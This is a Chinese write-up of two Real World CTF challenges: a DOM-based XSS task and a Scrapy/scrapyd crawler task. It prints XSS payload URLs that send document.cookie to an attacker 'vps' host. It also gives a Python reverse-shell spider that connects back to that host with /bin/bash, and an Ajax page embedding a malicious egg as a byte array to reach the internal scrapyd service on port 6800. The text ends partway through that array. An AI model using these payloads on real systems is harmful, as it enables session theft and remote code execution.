0x00前言
长亭牛逼
0x01 Mission Invisible
通过F12大法查看到js的源码，同时发现了另一个提交的页面，因此判断该题目为xss题目，源码如下:
var getUrlParam = function (name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = unescape(window.location.search.substr(1)).match(reg); # 获取路径的变量
if (r != null) return r[2];
return null;
}
function setCookie(name, value) {
var Days = 30;
var exp = new Date();
exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 30);
document.cookie = name + "=" + value + ";expires=" + exp.toGMTString();
}
function getCookie(name) {
var search = name + "="
var offset = document.cookie.indexOf(search)
if (offset != -1) {
offset += search.length;
var end = document.cookie.indexOf(";", offset);
if (end == -1) {
end = document.cookie.length;
}
return unescape(document.cookie.substring(offset, end));
}
else return "";
}
function setElement(tag) {
tag = tag.substring(0, 1);
var ele = document.createElement(tag)
var attrs = getCookie("attrs").split("&");
for (var i = 0; i < attrs.length; i++) {
var key = attrs[i].split("=")[0];
var value = attrs[i].split("=")[1];
ele.setAttribute(key, value);
}
document.body.appendChild(ele);
}
var tag = getUrlParam("tag");
setCookie("tag", tag);
setElement(tag);
其源码首先获取了tag的参数并且提取出tag里面的值，然后传入cookie中，最后再从cookie中设置该tag的子标签，因此可以使用contenteditable这个选项，之后通过id来定位这个标签，因为题目是由&来进区分，因此将&进行两次url编码之后进行标签的隔离,可以的payload为
http://52.52.236.217:16401/?tag=d%20attrs=onfocus=alert(1)%2526id=aaa%2526contenteditable=true#aaa
最后的payload可以为
http://52.52.236.217:16401/?tag=d%20attrs=onfocus=window.open%28%27http://vps?%27+document.cookie%29%2526id=aaa%2526contenteditable=true#aaa
或
之后从vps里面拿到flag
GET /?flag=rwctf{fR0m1olotH!n9};%20tag=d%20attrs=onfocus=window.open(%27http://?%27+document.cookie)%26id=aaa%26contenteditable=true HTTP/1.1
Host: 132.232.158.120:9002
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3865.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
0x02 crawl box
这道题目是P神出的一道Scrapy爬虫的题目，在真实环境中出现的，非常realworld。首先题目只是一个爬虫页面,普通的能够爬取href中的链接
经过各种file的SSRF的读取无果之后，查看一下爬虫过来的请求头
GET / HTTP/1.1
Host:
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Scrapy/ChromeHeadless (+https://scrapy.org)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/a png,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
发现其User-Agent中使用了Scrapy加上ChromeHeadless的请求头，于是乎到Scrapy官方文档中寻找蛛丝马迹,在Scrapy的api文档中发现线索
其意思就是说Scrapy中可以通过通过本地的6800来上传egg文件来部署一个爬虫的项目,但是这个6800又在内网中，我们无法访问得到，同时ChromeHeadless的给了新的思路，查阅资料后发现该请求头为一个无头浏览器，类似于phantomjs，可以通过猜测该浏览器获取能够通过Ajax进行自动探测，因此用vps尝试一下,来个Ajax
<html>
<head></head>
<body>
<script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js"></script>
<script>
$.ajax({
url: "http://vps:9003",
data: 'test',
type: "POST",
dataType : 'json',
async:false,
processData: false,
contentType: false,
enctype: 'multipart/form-data',
success: function(data) {
},
error: function(data, status, e) {
}
});
</script>
</body>
</html>
使用flask来启动一个网页,然后再来监听
成功拿到Ajax的数据，因此尝试打入到本地的6800端口中去，首先使用scrapy startproject来新建一个爬虫项目,在项目名称的文件夹中写上payload
import scrapy
import socket,subprocess, os
class exploit(scrapy.Spider):
name = "rce"
def exp(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("vps",9003))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/bash","-i"])
之后使用命令scrapyd-deploy --build-egg=exp.egg来创建该egg文件,得到egg文件
最后使用Ajax来创建一个新的scrapy项目,然后偷一下VK的脚本。。。。
<html>
<head></head>
<body>
<script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js"></script>
<script>
let array = [80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 18, 46, 120, 27, 113, 0, 0, 0, 179, 0, 0, 0, 17, 0, 0, 0, 69, 71, 71, 45, 73, 78, 70, 79, 47, 80, 75, 71, 45, 73, 78, 70, 79, 243, 77, 45, 73, 76, 73, 44, 73, 212, 13, 75, 45, 42, 206, 204, 207, 179, 82, 48, 212, 51, 224, 242, 75, 204, 77, 181, 82, 40, 40, 202, 207, 74, 77, 46, 225, 66, 145, 10, 46, 205, 205, 77, 44, 170, 180, 82, 8, 245, 243, 246, 243, 15, 247, 227, 242, 200, 207, 77, 213, 45, 72, 76, 79, 69, 8, 57, 150, 150, 100, 228, 23, 161, 243, 117, 83, 115, 19, 51, 115, 16, 162, 62, 153, 201, 169, 121, 197, 72, 218, 92, 82, 139, 147, 139, 50, 11, 74, 192, 118, 193, 4, 3, 114, 18, 75, 210, 242, 139, 114, 17, 34, 0, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 32, 77, 68, 27, 141, 0, 0, 0, 54, 1, 0, 0, 20, 0, 0, 0, 69, 71, 71, 45, 73, 78, 70, 79, 47, 83, 79, 85, 82, 67, 69, 83, 46, 116, 120, 116, 117, 142, 193, 10, 194, 64, 12, 68, 239, 254, 75, 219, 143, 16, 21, 17, 172, 88, 60, 7, 233, 142, 37, 186, 205, 134, 221, 168, 237, 223, 91, 111, 93, 170, 167, 48, 239, 13, 76, 18, 236, 169, 165, 142, 43, 12, 234, 3, 91, 69, 196, 194, 70, 52, 103, 211, 157, 71, 54, 244, 105, 14, 122, 118, 206, 227, 125, 141, 200, 176, 178, 194, 179, 228, 48, 193, 140, 165, 203, 153, 178, 67, 76, 217, 182, 198, 112, 71, 107, 37, 186, 174, 96, 185, 133, 234, 116, 216, 21, 251, 227, 182, 94, 154, 166, 190, 156, 215, 155, 166, 180, 193, 150, 210, 65, 33, 14, 210, 142, 52, 253, 242, 72, 191, 91, 16, 139, 35, 105, 96, 177, 63, 13, 11, 74, 30, 47, 248, 175, 254, 0, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 147, 6, 215, 50, 3, 0, 0, 0, 1, 0, 0, 0, 29, 0, 0, 0, 69, 71, 71, 45, 73, 78, 70, 79, 47, 100, 101, 112, 101, 110, 100, 101, 110, 99, 121, 95, 108, 105, 110, 107, 115, 46, 116, 120, 116, 227, 2, 0, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 154, 51, 66, 181, 34, 0, 0, 0, 38, 0, 0, 0, 25, 0, 0, 0, 69, 71, 71, 45, 73, 78, 70, 79, 47, 101, 110, 116, 114, 121, 95, 112, 111, 105, 110, 116, 115, 46, 116, 120, 116, 139, 46, 78, 46, 74, 44, 168, 140, 229, 42, 78, 45, 41, 201, 204, 75, 47, 86, 176, 85, 72, 173, 40, 200, 201, 207, 44, 209, 131, 9, 113, 113, 1, 0, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 97, 58, 139, 250, 10, 0, 0, 0, 8, 0, 0, 0, 22, 0, 0, 0, 69, 71, 71, 45, 73, 78, 70, 79, 47, 116, 111, 112, 95, 108, 101, 118, 101, 108, 46, 116, 120, 116, 75, 173, 40, 200, 201, 207, 44, 225, 2, 0, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 147, 6, 215, 50, 3, 0, 0, 0, 1, 0, 0, 0, 17, 0, 0, 0, 69, 71, 71, 45, 73, 78, 70, 79, 47, 122, 105, 112, 45, 115, 97, 102, 101, 227, 2, 0, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 232, 140, 120, 76, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 19, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 95, 95, 105, 110, 105, 116, 95, 95, 46, 112, 121, 3, 0, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 28, 45, 9, 130, 104, 0, 0, 0, 135, 0, 0, 0, 20, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 95, 95, 105, 110, 105, 116, 95, 95, 46, 112, 121, 99, 99, 254, 204, 203, 117, 68, 102, 91, 84, 50, 3, 20, 48, 2, 177, 3, 16, 23, 179, 0, 137, 20, 6, 134, 96, 13, 144, 136, 159, 6, 72, 14, 141, 40, 54, 0, 18, 73, 165, 153, 57, 41, 250, 73, 41, 153, 197, 37, 122, 57, 153, 121, 165, 21, 186, 21, 22, 102, 241, 102, 38, 250, 169, 233, 233, 250, 169, 21, 5, 57, 249, 153, 37, 250, 241, 241, 153, 121, 153, 37, 241, 241, 122, 5, 149, 37, 28, 64, 77, 54, 185, 249, 41, 165, 57, 169, 118, 32, 163, 75, 64, 70, 1, 0, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 55, 5, 55, 79, 170, 8, 173, 153, 215, 0, 0, 0, 73, 1, 0, 0, 14, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 101, 120, 112, 46, 112, 121, 117, 144, 79, 107, 2, 49, 16, 197, 207, 46, 236, 119, 8, 57, 101, 33, 198, 221, 72, 65, 5, 15, 82, 44, 148, 210, 10, 174, 55, 41, 146, 205, 206, 98, 104, 76, 66, 102, 133, 246, 219, 119, 255, 168, 55, 25, 134, 225, 241, 123, 111, 24, 198, 92, 130, 143, 45, 65, 29, 85, 248, 75, 19, 115, 147, 94, 255, 64, 203, 241, 90, 133, 232, 53, 32, 114, 226, 49, 77, 250, 210, 86, 33, 18, 248, 13, 214, 155, 150, 141, 57, 81, 6, 83, 67, 204, 86, 105, 50, 113, 234, 2, 100, 77, 104, 212, 64, 59, 89, 67, 211, 155, 25, 130, 109, 6, 62, 193, 142, 142, 251, 197, 56, 216, 77, 109, 222, 78, 239, 95, 219, 3, 191, 211, 114, 247, 250, 113, 42, 15, 251, 237, 230, 51, 27, 130, 66, 123, 231, 64, 183, 140, 209, 98, 46, 133, 236, 186, 120, 89, 136, 66, 230, 148, 47, 243, 124, 158, 13, 54, 143, 162, 190, 6, 201, 80, 52, 198, 130, 243, 44, 227, 249, 51, 80, 60, 3, 114, 0, 161, 63, 245, 241, 3, 161, 149, 181, 236, 72, 103, 149, 113, 179, 74, 225, 153, 114, 58, 53, 244, 187, 183, 166, 201, 63, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 132, 144, 181, 117, 220, 1, 0, 0, 151, 3, 0, 0, 15, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 101, 120, 112, 46, 112, 121, 99, 165, 82, 95, 111, 211, 48, 16, 63, 39, 109, 90, 198, 198, 222, 96, 239, 240, 16, 105, 90, 67, 11, 76, 123, 152, 16, 219, 180, 73, 104, 90, 145, 146, 189, 16, 9, 89, 141, 237, 22, 23, 47, 137, 106, 71, 42, 18, 147, 38, 117, 18, 95, 132, 111, 200, 7, 24, 119, 238, 159, 23, 224, 5, 156, 220, 229, 124, 119, 254, 221, 239, 206, 9, 127, 238, 108, 93, 254, 248, 254, 73, 192, 106, 133, 40, 239, 80, 236, 21, 42, 137, 47, 3, 3, 144, 111, 108, 6, 57, 91, 219, 1, 228, 193, 218, 14, 33, 15, 65, 6, 160, 0, 166, 45, 24, 99, 78, 8, 247, 0, 11, 128, 143, 121, 155, 50, 178, 184, 133, 136, 250, 1, 215, 208, 117, 208, 84, 243, 218, 84, 218, 109, 42, 51, 148, 83, 170, 252, 140, 130, 176, 170, 67, 21, 24, 33, 33, 124, 154, 197, 1, 198, 28, 113, 156, 9, 37, 216, 138, 47, 201, 25, 157, 188, 163, 40, 18, 88, 106, 230, 117, 0, 139, 0, 110, 25, 124, 99, 48, 69, 134, 93, 88, 48, 96, 174, 5, 211, 182, 119, 69, 68, 17, 185, 98, 210, 111, 222, 214, 31, 189, 237, 165, 183, 3, 211, 46, 200, 8, 100, 7, 38, 1, 129, 222, 250, 89, 100, 241, 35, 36, 49, 180, 187, 168, 251, 175, 6, 189, 1, 74, 255, 205, 81, 175, 63, 120, 169, 247, 159, 227, 0, 168, 85, 77, 204, 53, 245, 98, 41, 59, 41, 116, 153, 20, 35, 251, 217, 146, 235, 64, 251, 46, 255, 138, 224, 11, 184, 136, 82, 42, 241, 69, 57, 63, 204, 147, 11, 254, 126, 120, 126, 237, 30, 163, 157, 125, 56, 187, 228, 217, 117, 122, 126, 114, 229, 99, 162, 42, 75, 37, 156, 35, 212, 202, 58, 186, 6, 217, 212, 3, 15, 49, 214, 70, 149, 149, 219, 34, 180, 166, 168, 103, 149, 80, 118, 153, 34, 70, 198, 196, 52, 89, 191, 179, 202, 140, 29, 177, 182, 94, 215, 49, 181, 225, 149, 221, 71, 85, 52, 218, 200, 164, 144, 218, 186, 158, 209, 101, 51, 63, 152, 31, 29, 242, 195, 215, 137, 154, 76, 146, 213, 69, 211, 183, 87, 127, 245, 183, 135, 38, 49, 179, 219, 254, 226, 247, 216, 14, 123, 234, 31, 255, 143, 184, 46, 42, 206, 203, 209, 141, 226, 220, 83, 227, 252, 166, 146, 141, 161, 45, 37, 80, 36, 125, 178, 38, 240, 239, 84, 82, 58, 212, 166, 131, 132, 26, 177, 136, 197, 209, 102, 182, 98, 54, 194, 12, 154, 89, 74, 3, 79, 55, 145, 172, 214, 82, 205, 82, 248, 255, 250, 190, 209, 227, 101, 107, 111, 217, 154, 199, 54, 123, 17, 254, 2, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 182, 182, 47, 79, 103, 141, 159, 184, 192, 0, 0, 0, 31, 1, 0, 0, 16, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 105, 116, 101, 109, 115, 46, 112, 121, 77, 79, 203, 106, 196, 48, 12, 188, 235, 43, 4, 185, 236, 22, 18, 95, 151, 64, 111, 109, 97, 207, 253, 2, 99, 43, 27, 81, 219, 50, 182, 2, 205, 223, 175, 157, 108, 161, 58, 137, 25, 205, 67, 3, 142, 111, 35, 58, 241, 156, 30, 51, 110, 186, 140, 183, 142, 0, 12, 248, 65, 11, 39, 194, 149, 10, 161, 174, 132, 81, 60, 133, 138, 139, 20, 220, 101, 43, 88, 93, 177, 153, 60, 178, 82, 172, 48, 52, 197, 55, 17, 122, 113, 91, 164, 164, 86, 89, 18, 114, 154, 27, 190, 170, 230, 58, 27, 211, 184, 233, 80, 237, 147, 148, 135, 161, 100, 130, 85, 170, 106, 84, 50, 187, 106, 14, 167, 105, 213, 24, 0, 56, 102, 41, 122, 134, 236, 0, 224, 130, 173, 21, 63, 127, 115, 16, 214, 123, 59, 188, 188, 156, 250, 126, 157, 1, 219, 12, 232, 207, 206, 189, 238, 194, 20, 252, 191, 186, 221, 252, 124, 38, 240, 15, 253, 9, 146, 141, 132, 239, 175, 152, 233, 171, 107, 46, 215, 131, 203, 45, 15, 158, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 118, 120, 207, 48, 214, 0, 0, 0, 110, 1, 0, 0, 17, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 105, 116, 101, 109, 115, 46, 112, 121, 99, 157, 79, 189, 10, 194, 48, 16, 190, 52, 34, 226, 207, 123, 212, 65, 187, 136, 56, 136, 136, 224, 224, 34, 82, 39, 11, 18, 212, 68, 137, 164, 90, 76, 10, 237, 226, 162, 111, 236, 3, 232, 157, 213, 130, 171, 71, 238, 227, 254, 114, 223, 119, 252, 209, 170, 231, 139, 235, 122, 7, 31, 227, 232, 99, 116, 219, 70, 144, 248, 24, 24, 128, 8, 3, 15, 20, 192, 145, 193, 158, 129, 228, 112, 7, 184, 1, 172, 34, 143, 38, 150, 126, 5, 167, 245, 19, 109, 238, 26, 24, 78, 179, 196, 156, 181, 155, 57, 21, 151, 155, 25, 250, 132, 54, 215, 16, 112, 85, 196, 32, 92, 250, 212, 241, 61, 4, 71, 101, 33, 78, 155, 88, 9, 225, 234, 239, 36, 62, 203, 212, 96, 90, 76, 149, 96, 59, 8, 219, 84, 27, 25, 108, 165, 182, 174, 107, 244, 41, 205, 58, 217, 160, 47, 250, 189, 64, 29, 14, 129, 42, 248, 3, 141, 2, 108, 55, 201, 67, 250, 70, 194, 44, 81, 85, 185, 79, 103, 186, 42, 21, 118, 151, 77, 146, 59, 210, 79, 106, 195, 95, 166, 63, 233, 222, 183, 12, 11, 245, 163, 218, 151, 182, 201, 95, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 182, 182, 47, 79, 176, 50, 232, 220, 198, 3, 0, 0, 15, 14, 0, 0, 22, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 109, 105, 100, 100, 108, 101, 119, 97, 114, 101, 115, 46, 112, 121, 237, 86, 205, 142, 211, 72, 16, 190, 251, 41, 74, 26, 33, 18, 148, 56, 87, 20, 132, 132, 4, 123, 152, 3, 28, 200, 222, 71, 61, 118, 57, 110, 182, 221, 109, 186, 219, 132, 220, 246, 53, 246, 245, 120, 18, 170, 255, 252, 147, 216, 67, 96, 133, 246, 178, 185, 204, 196, 174, 191, 239, 171, 175, 170, 114, 7, 219, 23, 91, 40, 84, 201, 229, 113, 15, 157, 173, 182, 47, 221, 147, 44, 187, 131, 119, 88, 113, 137, 80, 163, 70, 176, 53, 66, 163, 74, 20, 6, 42, 165, 225, 172, 58, 13, 166, 229, 37, 106, 104, 120, 89, 10, 60, 49, 141, 217, 29, 121, 29, 16, 161, 84, 69, 215, 160, 180, 204, 114, 37, 129, 203, 61, 61, 175, 173, 109, 205, 126, 183, 163, 119, 185, 41, 52, 107, 207, 185, 210, 199, 29, 202, 157, 96, 22, 141, 221, 89, 213, 242, 194, 236, 66, 212, 237, 16, 53, 175, 109, 35, 178, 172, 210, 170, 129, 224, 8, 188, 105, 149, 182, 96, 248, 81, 50, 97, 178, 44, 43, 4, 51, 6, 254, 248, 218, 10, 197, 237, 193, 71, 120, 223, 7, 88, 169, 199, 79, 88, 216, 245, 62, 3, 250, 220, 193, 7, 101, 129, 9, 1, 13, 218, 90, 149, 6, 36, 98, 9, 86, 193, 35, 21, 238, 33, 151, 57, 220, 87, 192, 162, 1, 112, 50, 33, 151, 248, 110, 19, 163, 196, 82, 88, 97, 13, 48, 3, 188, 242, 28, 93, 113, 66, 92, 96, 240, 39, 250, 120, 117, 118, 86, 49, 66, 75, 53, 83, 230, 80, 157, 201, 51, 255, 248, 141, 135, 18, 50, 251, 7, 148, 22, 28, 246, 7, 202, 119, 18, 168, 87, 133, 48, 27, 136, 95, 34, 166, 16, 239, 207, 154, 42, 29, 106, 238, 92, 240, 199, 51, 28, 66, 161, 4, 176, 208, 72, 84, 143, 155, 71, 89, 147, 191, 129, 215, 64, 161, 87, 235, 254, 73, 204, 145, 71, 154, 243, 66, 73, 73, 149, 174, 76, 30, 156, 31, 84, 139, 142, 144, 216, 135, 215, 201, 110, 242, 118, 8, 167, 209, 118, 90, 130, 201, 122, 88, 173, 86, 5, 26, 243, 16, 29, 184, 108, 59, 138, 142, 162, 218, 144, 177, 105, 149, 52, 184, 137, 133, 78, 128, 190, 165, 238, 17, 54, 39, 68, 100, 69, 221, 27, 19, 183, 204, 194, 209, 17, 110, 107, 173, 186, 99, 61, 234, 201, 200, 127, 212, 29, 38, 137, 43, 73, 220, 12, 134, 177, 17, 193, 244, 80, 171, 78, 148, 169, 246, 15, 138, 230, 129, 178, 106, 198, 141, 243, 5, 252, 90, 96, 235, 68, 158, 95, 194, 116, 166, 139, 72, 85, 103, 231, 160, 210, 127, 157, 176, 79, 65, 62, 113, 27, 48, 5, 83, 19, 179, 57, 50, 220, 120, 184, 55, 65, 253, 27, 96, 149, 157, 128, 230, 22, 106, 210, 105, 172, 196, 41, 62, 132, 241, 185, 39, 152, 223, 119, 198, 38, 24, 132, 145, 83, 28, 246, 40, 8, 120, 5, 31, 241, 115, 71, 179, 186, 129, 146, 23, 214, 49, 113, 111, 177, 25, 20, 156, 98, 184, 206, 112, 226, 53, 150, 57, 0, 113, 159, 51, 71, 98, 148, 47, 146, 211, 115, 122, 197, 79, 255, 230, 73, 138, 106, 164, 178, 211, 32, 82, 33, 179, 42, 91, 195, 104, 196, 130, 255, 202, 83, 168, 136, 150, 153, 213, 182, 14, 61, 55, 23, 77, 95, 84, 10, 114, 31, 39, 9, 230, 138, 198, 4, 201, 241, 56, 10, 178, 200, 168, 219, 21, 51, 140, 89, 166, 237, 131, 14, 77, 49, 145, 175, 233, 195, 155, 212, 228, 93, 32, 185, 184, 10, 135, 113, 216, 248, 25, 57, 41, 253, 151, 25, 69, 48, 188, 225, 130, 105, 225, 247, 138, 51, 158, 87, 120, 162, 57, 245, 110, 20, 193, 207, 42, 137, 210, 237, 71, 249, 237, 239, 127, 156, 60, 191, 208, 80, 13, 211, 76, 144, 85, 193, 105, 99, 149, 139, 242, 84, 146, 42, 232, 235, 94, 185, 53, 75, 60, 55, 102, 61, 213, 162, 118, 90, 156, 242, 50, 167, 73, 61, 48, 60, 217, 97, 137, 216, 75, 34, 227, 190, 16, 234, 120, 164, 63, 92, 86, 106, 245, 252, 16, 117, 231, 29, 247, 240, 204, 60, 135, 103, 201, 80, 178, 6, 215, 151, 215, 234, 157, 58, 73, 161, 216, 127, 118, 177, 202, 62, 255, 255, 87, 235, 167, 174, 86, 84, 82, 191, 165, 226, 102, 188, 233, 94, 121, 219, 133, 115, 53, 52, 100, 246, 100, 93, 207, 66, 216, 53, 227, 132, 219, 241, 21, 218, 211, 175, 59, 105, 185, 236, 250, 33, 165, 159, 122, 148, 137, 155, 84, 200, 196, 211, 141, 75, 220, 253, 253, 158, 138, 221, 126, 194, 46, 0, 90, 48, 243, 215, 242, 254, 40, 149, 198, 104, 185, 239, 89, 28, 182, 253, 186, 151, 183, 170, 70, 33, 128, 102, 151, 70, 215, 51, 56, 175, 213, 19, 167, 209, 160, 81, 40, 188, 209, 109, 135, 56, 45, 153, 203, 238, 221, 242, 187, 99, 124, 132, 3, 61, 215, 87, 120, 168, 116, 169, 95, 175, 230, 250, 245, 52, 229, 191, 206, 247, 37, 41, 169, 242, 107, 98, 174, 175, 111, 100, 230, 103, 142, 111, 66, 79, 43, 93, 82, 151, 252, 25, 102, 87, 131, 179, 30, 249, 143, 143, 239, 108, 151, 127, 124, 128, 255, 229, 44, 244, 65, 111, 234, 203, 158, 206, 137, 106, 205, 172, 140, 139, 154, 241, 197, 40, 227, 198, 221, 30, 100, 122, 254, 127, 227, 113, 250, 14, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 87, 5, 55, 79, 205, 57, 239, 157, 103, 3, 0, 0, 109, 11, 0, 0, 23, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 109, 105, 100, 100, 108, 101, 119, 97, 114, 101, 115, 46, 112, 121, 99, 181, 86, 219, 110, 211, 64, 16, 157, 181, 19, 39, 78, 91, 218, 114, 41, 183, 2, 125, 1, 133, 7, 26, 36, 80, 65, 128, 80, 5, 69, 60, 17, 161, 141, 4, 34, 162, 178, 82, 123, 19, 28, 57, 182, 235, 221, 168, 169, 148, 242, 82, 254, 152, 15, 128, 153, 245, 37, 169, 90, 64, 85, 77, 90, 143, 214, 214, 238, 204, 57, 115, 57, 182, 249, 115, 169, 113, 248, 241, 251, 174, 11, 217, 207, 196, 107, 27, 47, 73, 198, 195, 127, 6, 1, 192, 136, 65, 151, 1, 243, 12, 16, 6, 244, 25, 120, 38, 252, 0, 56, 6, 248, 210, 53, 193, 171, 228, 79, 171, 197, 211, 10, 120, 22, 116, 154, 53, 116, 226, 255, 194, 95, 147, 225, 74, 209, 173, 244, 7, 97, 47, 144, 234, 58, 174, 223, 77, 226, 32, 242, 85, 39, 246, 61, 145, 124, 240, 61, 47, 16, 7, 189, 68, 20, 96, 12, 188, 222, 208, 153, 29, 52, 2, 8, 3, 70, 66, 84, 20, 6, 33, 153, 4, 15, 215, 20, 206, 208, 139, 106, 6, 173, 107, 17, 44, 90, 212, 50, 88, 221, 58, 240, 78, 211, 66, 71, 174, 145, 241, 172, 224, 245, 150, 220, 63, 68, 51, 213, 200, 143, 12, 152, 50, 24, 2, 12, 25, 76, 13, 24, 26, 20, 65, 1, 45, 142, 25, 99, 248, 168, 211, 164, 227, 109, 101, 21, 92, 154, 228, 139, 67, 78, 208, 141, 194, 80, 184, 74, 45, 209, 6, 205, 204, 137, 98, 17, 10, 79, 239, 83, 100, 92, 228, 175, 183, 38, 189, 131, 64, 36, 138, 146, 35, 155, 228, 65, 27, 249, 4, 205, 222, 216, 15, 188, 214, 158, 231, 75, 181, 25, 248, 225, 120, 242, 104, 242, 124, 203, 217, 122, 218, 18, 131, 65, 75, 164, 137, 107, 141, 138, 156, 201, 205, 248, 80, 45, 226, 185, 126, 18, 141, 156, 204, 241, 10, 57, 179, 116, 89, 109, 182, 206, 92, 51, 35, 206, 114, 226, 149, 180, 200, 29, 93, 158, 118, 90, 36, 122, 214, 142, 66, 145, 194, 165, 59, 41, 130, 190, 170, 227, 2, 195, 196, 81, 40, 69, 74, 94, 115, 43, 1, 245, 85, 60, 23, 39, 145, 43, 164, 116, 178, 132, 249, 97, 60, 214, 29, 34, 41, 217, 80, 117, 9, 70, 53, 235, 8, 106, 15, 121, 11, 205, 228, 10, 213, 104, 103, 119, 1, 142, 42, 48, 173, 192, 39, 182, 95, 131, 207, 115, 124, 52, 54, 58, 198, 27, 100, 22, 136, 144, 149, 242, 24, 7, 138, 83, 186, 116, 238, 253, 18, 88, 92, 59, 205, 34, 26, 43, 164, 113, 55, 79, 52, 84, 151, 152, 38, 82, 249, 75, 9, 52, 144, 202, 73, 200, 54, 117, 255, 196, 21, 177, 242, 163, 80, 163, 46, 1, 239, 141, 211, 120, 139, 24, 15, 138, 204, 91, 110, 62, 40, 167, 50, 207, 210, 204, 155, 48, 53, 255, 144, 249, 130, 134, 186, 68, 7, 85, 47, 81, 78, 34, 246, 199, 66, 42, 57, 75, 126, 25, 45, 180, 54, 79, 230, 68, 156, 205, 34, 251, 22, 102, 223, 200, 136, 152, 121, 246, 111, 211, 228, 231, 3, 143, 163, 78, 107, 3, 214, 142, 73, 236, 32, 159, 117, 185, 138, 54, 21, 169, 141, 116, 148, 95, 108, 220, 151, 233, 124, 80, 59, 5, 209, 96, 128, 83, 76, 81, 252, 176, 31, 233, 69, 216, 27, 9, 125, 58, 173, 99, 57, 69, 227, 228, 249, 89, 81, 28, 214, 164, 206, 208, 147, 233, 56, 20, 208, 113, 84, 67, 223, 140, 34, 111, 28, 208, 237, 130, 86, 155, 158, 148, 35, 161, 190, 69, 30, 167, 189, 156, 148, 137, 147, 54, 240, 203, 100, 168, 115, 181, 231, 25, 192, 139, 161, 164, 170, 82, 96, 73, 172, 173, 234, 114, 205, 174, 217, 117, 252, 179, 21, 165, 59, 19, 253, 157, 232, 32, 12, 162, 222, 63, 132, 255, 37, 92, 64, 248, 81, 239, 105, 248, 75, 209, 123, 78, 118, 166, 244, 220, 44, 146, 166, 87, 90, 100, 168, 23, 120, 173, 156, 28, 82, 161, 182, 225, 252, 242, 205, 237, 2, 147, 158, 60, 130, 147, 205, 66, 89, 202, 177, 60, 55, 108, 153, 235, 247, 69, 79, 54, 206, 86, 56, 157, 200, 51, 21, 238, 14, 100, 50, 87, 22, 188, 149, 19, 240, 210, 23, 86, 167, 192, 87, 59, 175, 2, 107, 124, 171, 37, 226, 91, 157, 195, 87, 40, 238, 215, 2, 96, 189, 124, 145, 226, 36, 143, 156, 94, 167, 156, 84, 255, 255, 200, 82, 31, 102, 178, 164, 85, 230, 38, 25, 122, 89, 112, 194, 159, 42, 15, 189, 11, 249, 61, 50, 27, 80, 178, 232, 172, 227, 57, 82, 11, 73, 196, 180, 232, 44, 218, 182, 221, 104, 107, 9, 72, 63, 88, 240, 171, 8, 55, 66, 126, 31, 237, 13, 241, 59, 77, 171, 149, 62, 93, 18, 18, 173, 199, 175, 82, 5, 126, 93, 207, 27, 108, 197, 92, 123, 252, 27, 80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 182, 182, 47, 79, 103, 153, 64, 181, 204, 0, 0, 0, 32, 1, 0, 0, 20, 0, 0, 0, 101, 120, 112, 108, 111, 105, 116, 47, 112, 105, 112, 101, 108, 105, 110, 101, 115, 46, 112, 121, 53, 143, 189, 110, 195, 48, 12, 132, 119, 61, 5, 1, 15, 73, 131, 216, 90, 11, 207, 241, 96, 160, 45, 12, 164, 123, 224, 72, 84, 172, 66, 17, 5, 145, 6, 146, 183, 175, 148, 159, 27, 239, 142, 31, 201, 6, 218, 93, 11, 134, 172, 143, 151, 30, 86, 113, 237, 103, 117, 148, 106, 224, 128, 206, 71, 132, 59, 173, 25, 188, 224, 21, 146, 79, 24, 138, 197, 176, 96, 70, 213, 212, 14, 197, 141, 128, 163, 124, 65, 1, 33, 152, 173, 125, 14, 188, 187, 213, 148, 5, 97, 252, 29, 190, 79, 211, 56, 13, 95, 227, 207, 112, 4, 70, 145, 178, 177, 16, 142, 136, 61, 44, 34, 137, 123, 173, 45, 153, 142, 77, 158, 211, 189, 43, 72, 141, 81, 135, 89, 144, 69, 11, 37, 111, 88, 215, 51, 218, 55, 186, 91, 228, 26, 148, 82, 38, 204, 204, 48, 220, 82, 32, 47, 211, 43, 220, 210, 249, 15, 141, 124, 244, 10, 138, 44, 58, 72, 